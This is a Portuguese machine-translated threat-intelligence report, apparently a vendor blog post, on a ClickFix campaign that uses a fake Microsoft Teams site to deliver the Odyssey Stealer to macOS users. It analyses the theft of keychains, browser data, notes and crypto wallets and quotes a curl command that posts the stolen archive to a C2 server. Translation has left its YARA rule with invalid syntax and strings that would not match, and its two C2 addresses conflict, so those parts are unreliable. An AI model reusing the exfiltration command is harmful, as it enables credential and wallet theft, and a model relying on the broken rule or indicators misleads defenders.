Voltar
Inteligência do adversário
Tabela de conteúdo

Sumário executivo

No início de agosto de 2025, a Forcepoint lançou um notícia sobre uma campanha de clickfix que se passou pelo Tradingview para entregar o Odyssey Stealer. Durante a descoberta rotineira da infraestrutura, o TRIAD da CloudSEK identificou que os agentes da ameaça agora estão atraindo usuários por meio de um site falso de download do Microsoft Teams. Quando as vítimas copiam o comando fornecido, um ladrão de AppleScript codificado em base64 (Odyssey) é executado. O malware coleta credenciais, cookies de navegador, Apple Notes e várias carteiras de criptomoedas baseadas em desktop/extensão, armazenando dados em /tmp/out.zip antes de exfiltrá-lo para seu C2. Em seguida, ele estabelece persistência via LaunchDaemons e substitui o Ledger Live por uma versão trojanizada.

Análise

Durante o ciclo rotineiro de descoberta e atribuição da infraestrutura do invasor, descobrimos vários sites de entrega com o tema Clickfix voltados para usuários do macOS. Descobriu-se que um desses sites estava se passando pela Microsoft, com o logotipo “Microsoft Teams” na página de entrega. Caçando usando FOFA, encontramos 24 IPs exclusivos pertencentes ao mesmo cluster.

Página inicial - teamsonsoft [.] com

Quando a vítima clica em “Copiar”, um comando é copiado para a área de transferência, dependendo do agente do usuário. Para o Windows, ele copia o mesmo comando mostrado. Para usuários do macOS, ele copia o seguinte:

Área de transferência - agente de usuário do macOS

O texto codificado em base64, decodificado abaixo:

Conteúdo do script de entrega

1) Execução

  • O One-Liner lança um grande AppleScript incorporado com osascript -e 'run script... '. Sem exploração, apenas execução de script. (T1059.002)

2) Descoberta

  • <random>Reúne o inventário do sistema com system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; o armazena como “hardware” em um diretório de trabalho temporário /tmp/ /. (T 1082)

3) Acesso à credencial, escalonamento de privilégios

  • Verifica se ele pode autenticar o usuário local com dscl. authonly. Se não, é solicita ao usuário com um diálogo falso: “Auxiliar de aplicativo necessário. Digite a senha do dispositivo para continuar.” Ele faz um loop até que a senha correta seja inserida. (T1056.002, T1110)
  • Tenta acessar o item do chaveiro do Chrome por meio da segurança... find-generic-password -ga “Chrome” e grava um arquivo “masterpass-chrome”. (T1555.001)
  • Esconde a senha capturada em ~/.pwd. (T1555, T1078)

4) Coleção

Ecossistema Apple

  • Banco de dados Apple Notes (NotStore.sqlite, -wal, -shm) + um substituto que conversa com o aplicativo Notes para exportar corpos de notas para HTML; também vácuos Anexos de notas das pastas “Mídia” do Notes. (T1119, T1113)
  • Artefatos do Safari: cookies.binaryCookies, “Valores do formulário”. (T1555,003, T1539)
  • <HardwareUUID>Cópia do chaveiro de login: ~/Library/Keychains/ e login.keychain-db. (T1555.001)

Navegadores (família Chromium: Chrome, Brave, Edge, Vivaldi, Opera, OperaGX, Chromium etc.)

  • Percorre todos os perfis Padrão/Perfil* e copia:
    • Cookies, dados da web, dados de login (logins salvos e preenchimento automático). (T1555.003)
    • Configurações de extensão local/ e IndexedDB/ para uma lista de permissões muito longa de IDs de extensão (carteiras, gerenciadores de senhas, etc.). (T1005)

Navegadores (família Gecko: Firefox, Waterfox)

  • Copia cookies.sqlite, formhistory.sqlite, key4.db, logins.json de cada perfil. (T1555.003)
  • Especificamente caça MetaMáscara armazenamento analisando prefs.js para derivar o caminho de armazenamento da extensão e, em seguida, copia seus buckets idb. (T1005)

Carteiras criptográficas (aplicativos de desktop)

  • Copia recursivamente dados para Electrum, Coinomi, Exodus, Atomic, Wasabi, Monero, Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite e Ledger Live. (T1555, T1005)
  • Também pega os caminhos de configuração do Binance/TONKeeper.

Bolsa de pegar

  • Do Desktop/Documents, copia silenciosamente até cerca de 10 MB de arquivos com extensões “interessantes”: txt, pdf, doc, docx, keys, key, wallet, kdbx, jpg, png, jpeg, rtf. (T1005)

5) Preparação do Exfil

  • Espelha árvores de diretórios, mas ignora caches barulhentos (GPUCache, Cache de código, Crashpad, Cache, etc.). (T 1074)
  • Arquiva tudo em /tmp/out.zip via idem -c -k. (1560)

6) Exfiltração, C2

  • curl -X POST... --data-binary @/tmp/out.zip http://185.93.89.62/log com cabeçalhos buildid, nome de usuário: vipx, repeat: false. Tenta novamente em caso de falha. (T 1041)
  • O mesmo host serve cargas secundárias em /otherassets/plist e /otherassets/ledger.zip. (T1105)

7) Persistência, Evasão de Defesa, C2

  • Persistência do LaunchDaemon: baixa uma string de comando do shell e a envolve em um com nome aleatório. <random>.plist, instala em /Library/LaunchDaemons/, launchctl bootstrap system...; volta para nohup run se o bootstrap falhar. Requer sudo, daí a solicitação de senha anterior. (T1543.004, T1053.003)
  • Substituição de aplicativos: mata e substitui o Ledger Live.app com um ZIP obtido do C2, usando sudo para remover e descompactar em /Applications. (T1036, T1112/T1105)
  • Limpa o diretório de trabalho e o /tmp/out.zip após o upload. (T1070,004)

Esta amostra do Odyssey é executada via osjavascript, rouba chaveiros, cookies, logins salvos, Apple Notes e dezenas de lojas de carteiras/extensões, compacta tudo, envia para http://185.93.89[.]62/log, depois planta persistência (LaunchDaemon) e até substitui o Ledger Live por uma cópia trojanizada. O C2 também está hospedando o painel de login do Odyssey Stealer.

Indicadores de compromisso

Type Indicator
IP / C2 185.93.89[.]162 (HTTP, /log, /otherassets/plist, /otherassets/ledger.zip)
Delivery Clickfix teamsonsoft[.]com
Hashes (sha256) 9c520fa25239c0f116ce7818949ddce5fd2f315317863715416cb488
6c5aeb2

7a8250904e6f079e1a952b87e55dc87e467cc560a2694a142f2d6547a
c40d5e1

d81cc9380673cb36a30f2a84ef155b0cbc7958daa6870096e455044fb
a5f9ee8

397ee604eb5e20905605c9418838aadccbbbfe6a15fc9146442333cfc
1516273

909038524250903a44efd734710e60a8f73719130176c726e58d3287b
22067c8
File Artifacts ~/.pwd, ~/.username, ~/.chost, ~/.botid
Persistence /Library/LaunchDaemons/com.<random>.plist (random numeric suffix)
Process/Commands osascript -e run script, dscl . authonly, security ... -ga "Chrome", ditto -c -k, curl -X POST ... --data-binary @/tmp/out.zip, unzip /tmp/ledger.zip
App Tampering Replacement of /Applications/Ledger Live.app with trojanized version

Impacto

  • Roubo de credenciais: Logins do navegador, dados de preenchimento automático, chaveiros e credenciais de carteira criptográfica roubadas.
  • Exfiltração de dados: Notas, documentos, capturas de tela e até 10 MB de arquivos pessoais extraídos.
  • Roubo financeiro: Comprometimento direto de carteiras criptográficas (desktop + extensão + adulteração do Ledger Live).
  • Persistência e reinfecção: O LaunchDaemon em nível de sistema garante acesso a longo prazo e risco de reinfecção.

Mitigações

  • Controles de rede: Monitore os POSTs de ondulação incomuns com dados compactados.
  • Caça de endpoints: Audite /Library/LaunchDaemons/ em busca de informações suspeitas. <digits>.plist e execuções recentes de osjavascript.
  • Higiene credencial: redefina as senhas do ID Apple, do navegador e da carteira; reemita chaves de sistemas não comprometidos.
  • Contenção e recuperação: Remova o /Applications/Ledger Live.app trojanizado, limpe artefatos temporários e reconstrua os sistemas macOS infectados se a integridade não puder ser garantida.

Regra de Yara

regra OSX_Odyssey_OSAScript_exec

{

meta:

description = “Detecta a execução do AppleScript do ladrão Odyssey via osjavascript”

data = “2025-09-04"

cordas:

$osjavascript = “osascript -e 'execute o script'” ascii

$dscl_auth = “dscl. authonly” ascii

$security_chrome = “segurança” em ascii wide nocase

$masterpass = “masterpass-chrome” ascii

condição:

todos eles

}

Referências

Koushik Pal
Threat Researcher at CloudSEK, specializing in digital forensics, incident response, and adversary hunting to uncover attacker motives, methods, and operations.
Nenhum item encontrado.

Blogs relacionados